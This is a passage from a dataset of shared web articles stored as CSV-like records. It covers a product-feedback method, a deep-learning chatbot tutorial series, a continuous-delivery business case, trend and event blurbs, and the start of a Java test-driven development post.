Competitive research Lightning demos User research and insights Wireframing Prototyping Usability testing Building basic features You can contribute to each of these exercises by providing references, critiques or sitting in on certain workshops, but you're not required for it. Jump out! 50%: Provide Feedback (Course Correction) So your team has been working hard on product, and is now ready to provide feedback. It's the 50% mark. Hooray, you're almost more or less halfway there! At this point, your team should have gone through some design iterations. Ideally, there's a functioning prototype for you to try out. The product has evolved and it's actually tangible. Naturally, to prepare for this phase, you should actually use the alpha or beta product. This feedback stage can be two meetings - one that's more about design, and one that's more about development. Design Critique With the design meetings, you want to provide specific product feedback. Look for things that don't feel right - perhaps they're not moving your user closer to their goal, or don't fit in with the vision and objectives. Remove those things or fix them so that they fit in with the rest of the product. You'll also want to share feedback on the UI/UX of the product. Review the user research and testing that has happened earlier, and look at whatever data has been collected. Figure out the key insights, what you're learning from your activities and how you're implementing it. In terms of visuals, look at the details and consistency. Make sure that the user experience and flow, or architecture, of the app makes sense and that there aren't any gaps. Development Feedback This feedback is all about functionality, performance, speed, stability. Make sure that certain elements are where they're supposed to be and that the app looks like it was meant to (w e use Zeplin for this .) Similar to the design feedback phase, you still want to keep your eyes peeled for elements that you can take out. At this point, the product is still incomplete, and there's probably still quite a long way to go. Check that you are on schedule with the milestones you set at the initial kickoff meeting. You might have to readjust some estimates. Looking forward, here are some of the activities that keep our team busy from 50% - 1%: Product design iterations More research Usability testing More development Completed basic features, adding satisfiers and delighters now Launch preparation By the way, chances are it's not all going smoothly and that there will need to be some calibration on estimates. That's okay. Going into this review, you must be prepared to allocate some more resources or put in more time if the project isn't unfolding as planned. Sometimes, you might personally need to be more involved and get more hands on with management or contribution. If all is going smoothly, then jump out! 1%: Finalizing the Product Oh wow, the launch is just around the corner! That was quick. But don't get fooled. As any seasoned developer, designer, or product manager knows, the last 10% of the product is critical. It always takes a lot of time. It's actually called the ninety ninety rule: ""The first 90 percent of the code accounts for the first 90 percent of the development time. The remaining 10 percent of the code accounts for the other 90 percent of the development time."" - Tom Cargill, Bell Labs Here, you want to really examine the tiny details closely (look at the app's polish, copy changes, positioning tweaks, and pixel perfection details). For the most part, here you want to be preparing for the app's release and launch. You could be enjoying the fruits of planning for your launch earlier (unfortunately, you'll most likely be scrambling to figure out plans). Closing thoughts One last piece of advice from Brennan is to work this method into the language of your company. It's important to set expectations on the type of feedback you're looking for. If a project is at 1% (remaining) make sure you state that before asking for feedback. The only things that should be coming up at that stage are critical blockers - anything else is a separate conversation. The 99-50-1 method enables you to get a lot more out of your time and make sure your work guides the delivery of great product. Although I've listed out the specific meetings that work for me and my team, I also think the method is adaptable enough to work for teams of all sizes and industries, and should be tweaked accordingly. Try this method of management as your responsibilities change and grow. (Which is a good problem to have!) If you like this post, you might also like: Robleh Jama is the founder of Tiny Hearts , an award-winning product studio. They make their own products like Next Keyboard , Wake Alarm and Quick Fit  - as well as products for clients like Plantronics and Philips. Check out our blog and join our newsletter to learn things like 'How to get discovered on the App Store' and 'How to Make Products that People Love'. If you like this article, please recommend it to help others find it!",en
1467674442,CONTENT SHARED,-4460374799273064357,-1443636648652872475,6885512560807851601,,,,HTML,http://www.wildml.com/2016/04/deep-learning-for-chatbots-part-1-introduction/,"Deep Learning for Chatbots, Part 1 - Introduction","Chatbots, also called Conversational Agents or Dialog Systems, are a hot topic. Microsoft is making big bets on chatbots, and so are companies like Facebook (M), Apple (Siri), Google, WeChat, and Slack. There is a new wave of startups trying to change how consumers interact with services by building consumer apps like Operator or x.ai , bot platforms like Chatfuel , and bot libraries like Howdy's Botkit . Microsoft recently released their own bot developer framework . Many companies are hoping to develop bots to have natural conversations indistinguishable from human ones, and many are claiming to be using NLP and Deep Learning techniques to make this possible. But with all the hype around AI it's sometimes difficult to tell fact from fiction. In this series I want to go over some of the Deep Learning techniques that are used to build conversational agents, starting off by explaining where we are right now, what's possible, and what will stay nearly impossible for at least a little while. This post will serve as an introduction, and we'll get into the implementation details in upcoming posts. A taxonomy of models Retrieval-Based vs. Generative Models Retrieval-based models (easier) use a repository of predefined responses and some kind of heuristic to pick an appropriate response based on the input and context. The heuristic could be as simple as a rule-based expression match, or as complex as an ensemble of Machine Learning classifiers. These systems don't generate any new text, they just pick a response from a fixed set. Generative models (harder) don't rely on pre-defined responses. They generate new responses from scratch. Generative models are typically based on Machine Translation techniques, but instead of translating from one language to another, we ""translate"" from an input to an output (response). Both approaches have some obvious pros and cons. Due to the repository of handcrafted responses, retrieval-based methods don't make grammatical mistakes. However, they may be unable to handle unseen cases for which no appropriate predefined response exists. For the same reasons, these models can't refer back to contextual entity information like names mentioned earlier in the conversation. Generative models are ""smarter"". They can refer back to entities in the input and give the impression that you're talking to a human. However, these models are hard to train, are quite likely to make grammatical mistakes (especially on longer sentences), and typically require huge amounts of training data. Deep Learning techniques can be used for both retrieval-based or generative models, but research seems to be moving into the generative direction. Deep Learning architectures like Sequence to Sequence are uniquely suited for generating text and researchers are hoping to make rapid progress in this area. However, we're still at the early stages of building generative models that work reasonably well. Production systems are more likely to be retrieval-based for now. Long vs. Short Conversations The longer the conversation the more difficult to automate it. On one side of the spectrum are Short-Text Conversations (easier) where the goal is to create a single response to a single input. For example, you may receive a specific question from a user and reply with an appropriate answer. Then there are long conversations (harder) where you go through multiple turns and need to keep track of what has been said. Customer support conversations are typically long conversational threads with multiple questions. Open Domain vs. Closed Domain In an open domain (harder) setting the user can take the conversation anywhere. There isn't necessarily have a well-defined goal or intention. Conversations on social media sites like Twitter and Reddit are typically open domain - they can go into all kinds of directions. The infinite number of topics and the fact that a certain amount of world knowledge is required to create reasonable responses makes this a hard problem. In a closed domain (easier) setting the space of possible inputs and outputs is somewhat limited because the system is trying to achieve a very specific goal. Technical Customer Support or Shopping Assistants are examples of closed domain problems. These systems don't need to be able to talk about politics, they just need to fulfill their specific task as efficiently as possible. Sure, users can still take the conversation anywhere they want, but the system isn't required to handle all these cases - and the users don't expect it to. Common Challenges There are some obvious and not-so-obvious challenges when building conversational agents most of which are active research areas. Incorporating Context To produce sensible responses systems may need to incorporate both linguistic context and physical context . In long dialogs people keep track of what has been said and what information has been exchanged. That's an example of linguistic context. The most common approach is to embed the conversation into a vector, but doing that with long conversations is challenging. Experiments in Building End-To-End Dialogue Systems Using Generative Hierarchical Neural Network Models and Attention with Intention for a Neural Network Conversation Model both go into that direction. One may also need to incorporate other kinds of contextual data such as date/time, location, or information about a user. Coherent Personality When generating responses the agent should ideally produce consistent answers to semantically identical inputs. For example, you want to get the same reply to ""How old are you?"" and ""What is your age?"". This may sound simple, but incorporating such fixed knowledge or ""personality"" into models is very much a research problem. Many systems learn to generate linguistic plausible responses, but they are not trained to generate semantically consistent ones. Usually that's because they are trained on a lot of data from multiple different users. Models like that in A Persona-Based Neural Conversation Model are making first steps into the direction of explicitly modeling a personality. Evaluation of Models The ideal way to evaluate a conversational agent is to measure whether or not it is fulfilling its task, e.g. solve a customer support problem, in a given conversation. But such labels are expensive to obtain because they require human judgment and evaluation. Sometimes there is no well-defined goal, as is the case with open-domain models. Common metrics such as BLEU that are used for Machine Translation and are based on text matching aren't well suited because sensible responses can contain completely different words or phrases. In fact, in How NOT To Evaluate Your Dialogue System: An Empirical Study of Unsupervised Evaluation Metrics for Dialogue Response Generation researchers find that none of the commonly used metrics really correlate with human judgment. Intention and Diversity A common problem with generative systems is that they tend to produce generic responses like ""That's great!"" or ""I don't know"" that work for a lot of input cases. Early versions of Google's Smart Reply tended to respond with ""I love you"" to almost anything. That's partly a result of how these systems are trained, both in terms of data and in terms of actual training objective/algorithm. Some researchers have tried to artificially promote diversity through various objective functions . However, humans typically produce responses that are specific to the input and carry an intention. Because generative systems (and particularly open-domain systems) aren't trained to have specific intentions they lack this kind of diversity. How well does it actually work? Given all the cutting edge research right now, where are we and how well do these systems actually work? Let's consider our taxonomy again. A retrieval-based open domain system is obviously impossible because you can never handcraft enough responses to cover all cases. A generative open-domain system is almost Artificial General Intelligence (AGI) because it needs to handle all possible scenarios. We're very far away from that as well (but a lot of research is going on in that area). This leaves us with problems in restricted domains where both generative and retrieval based methods are appropriate. The longer the conversations and the more important the context, the more difficult the problem becomes. In a recent interview , Andrew Ng, now chief scientist of Baidu, puts it well: Most of the value of deep learning today is in narrow domains where you can get a lot of data. Here's one example of something it cannot do: have a meaningful conversation. There are demos, and if you cherry-pick the conversation, it looks like it's having a meaningful conversation, but if you actually try it yourself, it quickly goes off the rails. Many companies start off by outsourcing their conversations to human workers and promise that they can ""automate"" it once they've collected enough data. That's likely to happen only if they are operating in a pretty narrow domain - like a chat interface to call an Uber for example. Anything that's a bit more open domain (like sales emails) is beyond what we can currently do. However, we can also use these systems to assist human workers by proposing and correcting responses. That's much more feasible. Grammatical mistakes in production systems are very costly and may drive away users. That's why most systems are probably best off using retrieval-based methods that are free of grammatical errors and offensive responses. If companies can somehow get their hands on huge amounts of data then generative models become feasible - but they must be assisted by other techniques to prevent them from going off the rails like Microsoft's Tay did . Upcoming & Reading List We'll get into the technical details of how to implement retrieval-based and generative conversational models using Deep Learning in the next post, but if you're interested in looking at some of the research then the following papers are a good starting point:",en
1467674534,CONTENT SHARED,-3662111110237135231,-1443636648652872475,6885512560807851601,,,,HTML,http://www.wildml.com/2016/07/deep-learning-for-chatbots-2-retrieval-based-model-tensorflow/,"Deep Learning for Chatbots, Part 2 - Implementing a Retrieval-Based Model in Tensorflow","Retrieval-Based bots In this post we'll implement a retrieval-based bot. Retrieval-based models have a repository of pre-defined responses they can use, which is unlike generative models that can generate responses they've never seen before. A bit more formally, the input to a retrieval-based model is a context (the conversation up to this point) and a potential response . The model outputs is a score for the response. To find a good response you would calculate the score for multiple responses and choose the one with the highest score. But why would you want to build a retrieval-based model if you can build a generative model? Generative models seem more flexible because they don't need this repository of predefined responses, right? The problem is that generative models don't work well in practice. At least not yet. Because they have so much freedom in how they can respond, generative models tend to make grammatical mistakes and produce irrelevant, generic or inconsistent responses. They also need huge amounts of training data and are hard to optimize. The vast majority of production systems today are retrieval-based, or a combination of retrieval-based and generative. Google's Smart Reply is a good example. Generative models are an active area of research, but we're not quite there yet. If you want to build a conversational agent today your best bet is most likely a retrieval-based model. The Ubuntu Dialog Corpus In this post we'll work with the Ubuntu Dialog Corpus ( paper , github ). The Ubuntu Dialog Corpus (UDC) is one of the largest public dialog datasets available. It's based on chat logs from the Ubuntu channels on a public IRC network. The paper goes into detail on how exactly the corpus was created, so I won't repeat that here. However, it's important to understand what kind of data we're working with, so let's do some exploration first. The training data consists of 1,000,000 examples, 50% positive (label 1) and 50% negative (label 0). Each example consists of a context , the conversation up to this point, and an utterance , a response to the context. A positive label means that an utterance was an actual response to a context, and a negative label means that the utterance wasn't - it was picked randomly from somewhere in the corpus. Here is some sample data. Note that the dataset generation script has already done a bunch of preprocessing for us - it has tokenized , stemmed , and lemmatized the output using the NLTK tool . The script also replaced entities like names, locations, organizations, URLs, and system paths with special tokens. This preprocessing isn't strictly necessary, but it's likely to improve performance by a few percent. The average context is 86 words long and the average utterance is 17 words long. Check out the Jupyter notebook to see the data analysis . The data set comes with test and validations sets. The format of these is different from that of the training data. Each record in the test/validation set consists of a context, a ground truth utterance (the real response) and 9 incorrect utterances called distractors . The goal of the model is to assign the highest score to the true utterance, and lower scores to wrong utterances. The are various ways to evaluate how well our model does. A commonly used metric is recall@k . Recall@k means that we let the model pick the k best responses out of the 10 possible responses (1 true and 9 distractors). If the correct one is among the picked ones we mark that test example as correct. So, a larger k means that the task becomes easier. If we set k=10 we get a recall of 100% because we only have 10 responses to pick from. If we set k=1 the model has only one chance to pick the right response. At this point you may be wondering how the 9 distractors were chosen. In this data set the 9 distractors were picked at random. However, in the real world you may have millions of possible responses and you don't know which one is correct. You can't possibly evaluate a million potential responses to pick the one with the highest score - that'd be too expensive. Google's Smart Reply uses clustering techniques to come up with a set of possible responses to choose from first. Or, if you only have a few hundred potential responses in total you could just evaluate all of them. Baselines Before starting with fancy Neural Network models let's build some simple baseline models to help us understand what kind of performance we can expect. We'll use the following function to evaluate our recall@k metric: Here, y is a list of our predictions sorted by score in descending order, and y_test is the actual label. For example, a y of [0,3,1,2,5,6,4,7,8,9] Would mean that the utterance number 0 got the highest score, and utterance 9 got the lowest score. Remember that we have 10 utterances for each test example, and the first one (index 0) is always the correct one because the utterance column comes before the distractor columns in our data. Intuitively, a completely random predictor should get a score of 10% for recall@1 , a score of 20% for recall@2 , and so on. Let's see if that's the case. Great, seems to work. Of course we don't just want a random predictor. Another baseline that was discussed in the original paper is a tf-idf predictor. tf-idf stands for ""term frequency - inverse document"" frequency and it measures how important a word in a document is relative to the whole corpus. Without going into too much detail (you can find many tutorials about tf-idf on the web), documents that have similar content will have similar tf-idf vectors. Intuitively, if a context and a response have similar words they are more likely to be a correct pair. At least more likely than random. Many libraries out there (such as scikit-learn ) come with built-in tf-idf functions, so it's very easy to use. Let's build a tf-idf predictor and see how well it performs. We can see that the tf-idf model performs significantly better than the random model. It's far from perfect though. The assumptions we made aren't that great. First of all, a response doesn't necessarily need to be similar to the context to be correct. Secondly, tf-idf ignores word order, which can be an important signal. With a Neural Network model we can do a bit better. Dual Encoder LSTM The Deep Learning model we will build in this post is called a Dual Encoder LSTM network. This type of network is just one of many we could apply to this problem and it's not necessarily the best one. You can come up with all kinds of Deep Learning architectures that haven't been tried yet - it's an active research area. For example, the seq2seq model often used in Machine Translation would probably do well on this task. The reason we are going for the Dual Encoder is because it has been reported to give decent performance on this data set. This means we know what to expect and can be sure that our implementation is correct. Applying other models to this problem would be an interesting project. The Dual Encoder LSTM we'll build looks like this ( paper ): It roughly works as follows: Both the context and the response text are split by words, and each word is embedded into a vector. The word embeddings are initialized with Stanford's GloVe vectors and are fine-tuned during training (Side note: This is optional and not shown in the picture. I found that initializing the word embeddings with GloVe did not make a big difference in terms of model performance). Both the embedded context and response are fed into the same Recurrent Neural Network word-by-word. The RNN generates a vector representation that, loosely speaking, captures the ""meaning"" of the context and response ( c and r in the picture). We can choose how large these vectors should be, but let's say we pick 256 dimensions. We multiply c with a matrix M to ""predict"" a response r' . If c is a 256-dimensional vector, then M is a 256×256 dimensional matrix, and the result is another 256-dimensional vector, which we can interpret as a generated response. The matrix M is learned during training. We measure the similarity of the predicted response r' and the actual response r by taking the dot product of these two vectors. A large dot product means the vectors are similar and that the response should receive a high score. We then apply a sigmoid function to convert that score into a probability. Note that steps 3 and 4 are combined in the figure. To train the network, we also need a loss (cost) function. We'll use the binary cross-entropy loss common for classification problems. Let's call our true label for a context-response pair y . This can be either 1 (actual response) or 0 (incorrect response). Let's call our predicted probability from 4. above y' . Then, the cross entropy loss is calculated as L= −y * ln(y') − (1 − y) * ln(1−y) . The intuition behind this formula is simple. If y=1 we are left with L = -ln(y') , which penalizes a prediction far away from 1, and if y=0 we are left with L= −ln(1−y) , which penalizes a prediction far away from 0. For our implementation we'll use a combination of numpy , pandas , Tensorflow and TF Learn (a combination of high-level convenience functions for Tensorflow). Data Preprocessing The dataset originally comes in CSV format. We could work directly with CSVs, but it's better to convert our data into Tensorflow's proprietary Example format. (Quick side note: There's also tf.SequenceExample but it doesn't seem to be supported by tf.learn yet). The main benefit of this format is that it allows us to load tensors directly from the input files and let Tensorflow handle all the shuffling, batching and queuing of inputs. As part of the preprocessing we also create a vocabulary. This means we map each word to an integer number, e.g. ""cat"" may become 2631 . The TFRecord files we will genrrate store these integer numbers instead of the word strings. We will also save the vocabulary so that we can map back from integers to words later on. Each Example contains the following fields: context : A sequence of word ids representing the context text, e.g. [231, 2190, 737, 0, 912] context_len : The length of the context, e.g. 5 for the above example utterance A sequence of word ids representing the utterance (response) utterance_len : The length of the utterance label : Only in the training data. 0 or 1 . distractor_[N] : Only in the test/validation data. N ranges from 0 to 8. A sequence of word ids representing the distractor utterance. distractor_[N]_len : Only in the test/validation data. N ranges from 0 to 8. The length of the utterance. The preprocessing is done by the prepare_data.py Python script, which generates 3 files: train.tfrecords , validation.tfrecords and test.tfrecords . You can run the script yourself or download the data files here . Creating an input function In order to use Tensorflow's built-in support for training and evaluation we need to create an input function - a function that returns batches of our input data. In fact, because our training and test data have different formats, we need different input functions for them. The input function should return a batch of features and labels (if available). Something along the lines of: Because we need different input functions during training and evaluation and because we hate code duplication we create a wrapper called create_input_fn that creates an input function for the appropriate mode. It also takes a few other parameters. Here's the definition we're using: The complete code can be found in udc_inputs.py . On a high level, the function does the following: Create a feature definition that describes the fields in our Example file Read records from the input_files with tf.TFRecordReader Parse the records according to the feature definition Extract the training labels Batch multiple examples and training labels Return the batched examples and training labels Defining Evaluation Metrics We already mentioned that we want to use the recall@k metric to evaluate our model. Luckily, Tensorflow already comes with many standard evaluation metrics that we can use, including recall@k . To use these metrics we need to create a dictionary that maps from a metric name to a function that takes the predictions and label as arguments: Above, we use functools.partial to convert a function that takes 3 arguments to one that only takes 2 arguments. Don't let the name streaming_sparse_recall_at_k confuse you. Streaming just means that the metric is accumulated over multiple batches, and sparse refers to the format of our labels. This brings is to an important point: What exactly is the format of our predictions during evaluation? During training, we predict the probability of the example being correct. But during evaluation our goal is to score the utterance and 9 distractors and pick the best one - we don't simply predict correct/incorrect. This means that during evaluation each example should result in a vector of 10 scores, e.g. [0.34, 0.11, 0.22, 0.45, 0.01, 0.02, 0.03, 0.08, 0.33, 0.11] , where the scores correspond to the true response and the 9 distractors respectively. Each utterance is scored independently, so the probabilities don't need to add up to 1. Because the true response is always element 0 in array, the label for each example is 0. The example above would be counted as classified incorrectly by recall@1 because the third distractor got a probability of 0.45 while the true response only got 0.34 . It would be scored as correct by recall@2 however. Boilerplate Training Code Before writing the actual neural network code I like to write the boilerplate code for training and evaluating the model. That's because, as long as you adhere to the right interfaces, it's easy to swap out what kind of network you are using. Let's assume we have a model function model_fn that takes as inputs our batched features, labels and mode (train or evaluation) and returns the predictions. Then we can write general-purpose code to train our model as follows: Here we create an estimator for our model_fn , two input functions for training and evaluation data, and our evaluation metrics dictionary. We also define a monitor that evaluates our model every FLAGS.eval_every steps during training. Finally, we train the model. The training runs indefinitely, but Tensorflow automatically saves checkpoint files in MODEL_DIR , so you can stop the training at any time. A more fancy technique would be to use early stopping, which means you automatically stop training when a validation set metric stops improving (i.e. you are starting to overfit). You can see the full code in udc_train.py . Two things I want to mention briefly is the usage of FLAGS . This is a way to give command line parameters to the program (similar to Python's argparse). hparams is a custom object we create in that holds hyperparameters, nobs we can tweak, of our model. This hparams object is given to the model when we instantiate it. Creating the model Now that we have set up the boilerplate code around inputs, parsing, evaluation and training it's time to write code for our Dual LSTM neural network. Because we have different formats of training and evaluation data I've written a create_model_fn wrapper that takes care of bringing the data into the right format for us. It takes a model_impl argument, which is a function that actually makes predictions. In our case it's the Dual Encoder LSTM we described above, but we could easily swap it out for some other neural network. Let's see what that looks like: The full code is in dual_encoder.py . Given this, we can now instantiate our model function in the main routine in udc_train.py that we defined earlier. That's it! We can now run python udc_train.py and it should start training our networks, occasionally evaluating recall on our validation data (you can choose how often you want to evaluate using the --eval_every switch). To get a complete list of all available command line flags that we defined using tf.flags and hparams you can run python udc_train.py --help . Evaluating the Model After you've trained the model you can evaluate it on the test set using python udc_test.py --model_dir=$MODEL_DIR_FROM_TRAINING , e.g. python udc_test.py --model_dir=~/github/chatbot-retrieval/runs/1467389151 . This will run the recall@k evaluation metrics on the test set instead of the validation set. Note that you must call udc_test.py with the same parameters you used during training. So, if you trained with --embedding_size=128 you need to call the test script with the same. After training for about 20,000 steps (around an hour on a fast GPU) our model gets the following results on the test set: While recall@1 is close to our TFIDF model, recall@2 and recall@5 are significantly better, suggesting that our neural network assigns higher scores to the correct answers. The original paper reported 0.55 , 0.72 and 0.92 for recall@1, recall@2, and recall@5 respectively, but I haven't been able to reproduce scores quite as high. Perhaps additional data preprocessing or hyperparameter optimization may bump scores up a bit more. Making Predictions You can modify and run udc_predict.py to get probability scores for unseen data. For example python udc_predict.py --model_dir=./runs/1467576365/ outputs: You could imagine feeding in 100 potential responses to a context and then picking the one with the highest score. Conclusion In this post we've implemented a retrieval-based neural network model that can assign scores to potential responses given a conversation context. There is still a lot of room for improvement, however. One can imagine that other neural networks do better on this task than a dual LSTM encoder. There is also a lot of room for hyperparameter optimization, or improvements to the preprocessing step. The Code and data for this tutorial is on Github, so check it out.",en
1467680146,CONTENT SHARED,-7925445844362296966,3609194402293569455,1709336364569870528,,,,HTML,http://trendwatching.com/trends/asian-innovation-frenzy/,ASIAN INNOVATION FRENZY | New Asia Trend Briefing from TrendWatching,"Innovations - new products, services, campaigns, experiences, business models - keep pouring into the market. Why should you care? Because game-changing innovations create new customer expectations. And once created, new expectations spread across markets, industries and demographics. Eventually, they'll spread all the way to your customers - and to your door! In the first half of this year, our content teams and TW:IN, our network of trend-savvy spotters, have captured thousands of consumer-facing innovations from all over Asia. And now we're about to look at ten of the most expectation-raising among them. Your job is simple: for every innovation, remember to look beyond what , and think: what does it mean ? Strip out the underlying lessons about changing customer expectations and consider how they will impact YOU. And yes, we'll be providing some ideas of our own!",en
1467681399,CONTENT SHARED,-4262964715347041233,3609194402293569455,1709336364569870528,,,,HTML,https://marketing.knect365.com/intrapreneur,Corporate Intrapreneur Summit,"The 2016 Corporate Intrapreneur Summit, produced in partnership with Culturevate, offers a unique opportunity to share top-notch industry experience, shared visions, and best practices on how intrapreneurs can innovation scale and deliver growth. The Summit offers a unique opportunity to leverage the experience of Innovation leaders, Intrapreneurs, L&D / HR professionals and learning institutions.",en
1467685210,CONTENT SHARED,-5000193502203199335,-3203894957285229214,224484883081058937,,,,HTML,https://www.atlassian.com/continuous-delivery/business-case-for-continuous-delivery?utm_source=special-offer-email&utm_medium=email&utm_campaign=continuous-delivery,The Business Case for Continuous Delivery | Continuous Delivery | Atlassian,"Follow the overall trend in the software industry: increasing the ability to react. What emotions does the word ""release"" trigger in you? Relief? Elation? A fist-pumping sense of accomplishment? If your team is still living with manual testing to prepare for releases and manual or semi-scripted deploys to perform them, your feelings may be closer to ""dread"" and ""blinding rage."" That's why software development is moving towards continuity. The recent emphasis on continuous integration, built-in testing, constant monitoring, and analytics feedback all point toward an overall trend in the software industry: increasing the ability to react. As organizations explore what these changes mean for them, they invariably discover continuous delivery, commonly known as CD . Make no mistake: CD is not the exclusive domain of ""unicorn"" companies and tech darlings. Every team - from the humblest start-up to the stodgiest enterprise - can and should practice continuous delivery. This article takes a look at the business case for making this switch. It will discuss the work that lies ahead and the benefits it will yield, as well as the decisions and trade-offs needed to ship software using CD methodologies. Every team can - and should - practice continuous delivery. Top four business benefits of continuous delivery Faster reaction times The most obvious benefit of CD is that it allows quick reactions to stimuli, both external and internal - whether it's a market segment that takes a weird left turn, morphing that P5 feature into a company-saving imperative, or a researcher that uses your flagship application as an example of what-not-to-do at the security conference du jour . What business doesn't want that? Reduced risk For many organizations, there's a non-trivial amount of pageantry around shipping a release. And why shouldn't there be? New features are finally out to customers. Bugs are fixed. Everyone's happy, right? The dark secret in many organizations is that shipping a release takes a huge amount of effort on the part of the QA and build/release teams. Under a continuous delivery model, software is ""released"" constantly (though not necessarily to customers). Therefore, the ceremony and the risk around releasing is reduced. If you're relying on your release infrastructure daily, you will notice (and resolve!) its deficiencies much quicker than if the process is only undergone once every few weeks or months. Exposed inefficiencies and costs Whether it's the latest web service or classic ISO images, every software organization incurs a cost to ship the bits out the door. Often times, these costs aren't entirely clear to the business. There can be all sorts of forces that obscure how much it really costs to ship a release. Continuous delivery makes this process apparent not only to the business itself, but to the decision makers. When constructing a pipeline, it will become clear where humans are involved, what bottlenecks exist, and what low-hanging automation fruit there is to pick. And once constructed, the pipeline creates a virtuous cycle. Clear incentives for a healthy software delivery dynamic now exist, replacing a nebulous discontent with how long and costly it is to release. Flexible release options Moving to a continuous delivery model requires the build-out of infrastructure, both in an operational context and a software architecture context. But once that's done, it provides the business with more flexibility in how it delivers features and fixes. Specific sets of features can be released to specific customers, or released to a subset of customers, to ensure they function and scale as designed. Features can be tested and developed, but left dormant in the product, baking for multiple releases. Your marketing department wants that ""big splash"" at the yearly industry convention? With continuous delivery, it's not only possible, it's a trivial request. Continuous delivery isn't just for unicorns Given all the business benefits, continuous delivery may seem almost magical. It's not. It's just a shift in thinking about how to design, develop, and deliver software, followed by focused investment on the initiatives required to implement it. Where many organizations falter with their CD transformation is this first step: defining and committing to that investment. Because CD requires a large overhaul in technical processes, operational culture, and organizational thinking, it can often feel like there's a large hurdle to getting started. The fact that it requires a hefty amount of change and build-out of areas of a company's software delivery infrastructure that may have been neglected over the years can make it an even more bitter pill to swallow. That's the bad news. The good news is that we humans are exceedingly adaptable, especially when incentivized by the prospect of a software release process that less closely resembles Hell. The other piece of good news is that transforming any aspect of your business to be CD-ready will pay off in other ways too. So even if you can't get your company to back an all-encompassing CD transformation, there's still loads of value in transforming whatever you can. The largest initial investment is an agreement that the transition toward CD is a worthy business goal. An important one. One which is not attainable without the participation of all, and one which will require some serious (but ultimately fruitful) trade-offs to be made during that transition period. ""Let's spend the next few months working on automated testing and build/release infrastructure, and redesigning how our application is written. We can postpone our feature development,"" said no product manager ever. Their outlook makes sense given their responsibilities to react to an ever-shifting market and the pressures to outmaneuver the competition. The way to get product managers and business stakeholders on board is to show them how much faster they'll be able to speed new features to market once the investment in CD starts to bear fruit. Imagine a world in which PMs can ship ultra-lightweight versions of features, instrumented with event analytics, shortly after the idea pops into their heads. The analytics send back data on users' adoption of and competence in using that feature, which the PM can use to further refine it. This process takes months without CD. But using CD, the iteration cycles can be as short as a few days or weeks. This isn't to say that all feature development must cease until CD is up and running. Rather, all areas of the business - product management, engineering, and engineering support (QA, ops, build/release) - must buy into the long-term benefits CD will bring. That part isn't hard. But real discipline is required to keep it top-of-mind to ensure the initiative doesn't stagnate or get hauled out to the proverbial scrap yard altogether. And let's be real: there are other areas that will need investment in your pursuit of continuous delivery. And while CD may be the catalyst here, the changes will bring other benefits, too. Automated testing This includes not only a focus on unit tests, but integration and system tests. They need to be driven in an automated fashion, by a system like Bamboo . One of the hugest investments a company I worked with made was requiring an associated unit (and, where it made sense, integration) test for every bug - ( every bug!) - in a particularly important software component. Regardless of where you are in implementing CD, these tests will help identify regressions immediately and contribute to shorter and less stressful release cycles right off the bat. Expect to work on this aspect for 6 - 18 months if you're starting from scratch. Application architectural changes Moving toward a service-oriented architecture is a must. If your software isn't SaaS, you'll need to work toward a component architecture with the necessary versioning and release engineering for the components to be individually shipped. So-called ""feature flagging"" and ""canary releases"" can then make use of these componentized services/modules. It pays for itself by decoupling these complex systems so their interfaces are better understood, which allows teams to release their components on their own cycles - plus you get CD-readiness on top of that. Most teams make this transition over 4 - 8 release cycles. Build/test farm Each checkin for the Firefox web browser triggers thousands of tests, requiring over 200 hours of CPU compute time - to say nothing of the build time. It took a notable hardware (and, in some cases, cloud) investment to be able to support this for each commit. Your current build/test farm will need enough capacity to support CD, which will also tighten your developer feedback loop and make it easier to test against different operating systems, browsers, etc. Adjusting your test farm capacity is an ongoing process, but cloud providers like Amazon Web Services can take a lot of the pain away. Emphasis on culture CD fundamentally requires some amount of cultural rewiring because the core structure of CD is a delivery pipeline through which changes flow, not a set of human-controlled gates that must be passed. This structure's very nature can help to start chipping away at organizational silos. So it's up to the CD cheerleaders to make sure the people in those silos are prepared for that. Otherwise, it can feel like their silo is coming down on top of their heads. (And they'll understandably fight to do everything to keep it from doing so!) This is another ongoing process, the most intense period of which will last about 2 - 6 months. Focused staffing Getting traction on CD transformation may require hiring an engineer or consultant whose sole focus is the infrastructure work required to move to CD, which is also a great excuse to bring fresh expertise onto the team. If current engineers can't be insulated enough to make the needle move, the additional hire allows the organization to move forward, and as their work comes together, help the team transition to the brave new CD world. Even a temporary consultant can provide breathing room to make the culture changes easier, so the best contract duration is also about 2 - 6 months. Starting your CD journey Continuous delivery requires change from teams across the organization. It requires focused investment in tooling, hardware, and people. All of that takes time. And all of it is possible. The first step is acknowledging that trying to transform to continuous delivery ""on the cheap,"" as part of someone's ""20% time"", or ""in our slack time between sprints and releases"" is a recipe for spending time (and therefore money) on failure. But viewing it as an investment that will pay future dividends in making the business able to react - in real time - to the dynamic world that is the software industry, which should help offset the cost of that investment on the balance sheet. And if you factor in the employees that won't burn out due to ""midnight oil"" releases, and people who get to work on making their own worlds better instead of propping up a building that's constantly falling apart, the value becomes obvious. Recommended Reads On a related note Curious about some of our experiences with continuous delivery and deployment at Atlassian? Read on . Put it into practice Continuous delivery from code to customer Bamboo is a continuous integration and delivery tool that ties automated builds, tests and releases together in a single workflow.",en
1467717954,CONTENT SHARED,2966083692047828770,-8424644554119645763,2638485379412047946,,,,HTML,http://craftsmanshipcounts.com/test-driven-development-by-example-validation-in-java/,Test Driven Development by Example: Validation in Java,"Two weeks ago, I started talking about automated unit testing . Last week, I talked about unit testing best practices . Today, I want to continue that theme but I want to make it much more concrete by explaining test driven development by example. The example we will look at is a common component in most applications today - the lowly validator. Overview Let's have a look at the requirements and design we'll be implementing. Our Type The type we will validate (Name) has two members - first and last. It gets used in several other types and is very important to our overall application. Here's a little UML to describe it: Business Rules The business rules we want to implement for the validator are pretty simple, but they're more than enough for us to have a good example: Name.first is required Name.last is required If both Name.first and Name.last are invalid, both errors should be flagged in a single call to the validator. Technical Goals In addition to the business rules, there are some technical goals we'd like to meet. Whereas the business rules came to us from someone on the business side, these we do just because it's the right thing to do . Separate what is done from how it is done. Ensure that "" Tell; Don't Ask "" is followed. Enable easy discovery of which fields have errors and what those errors are. Separate What is Done From How it is Done Separating what is done from how it is done has been a best practice going back decades. We'll apply it in a couple of different ways. First, we want to make sure we have a common handle for all validators, so we'll create an interface. We'll also use apply this approach within methods so that algorithm is in one spot and implementation in another. Tell; Don't Ask Sometimes you need to ask an object for its state. However, when you do that for the purpose of making some decision that is commonly made across your application, the behavior is usually better off being placed in the object itself. This helps keep your code DRY and eases maintenance. 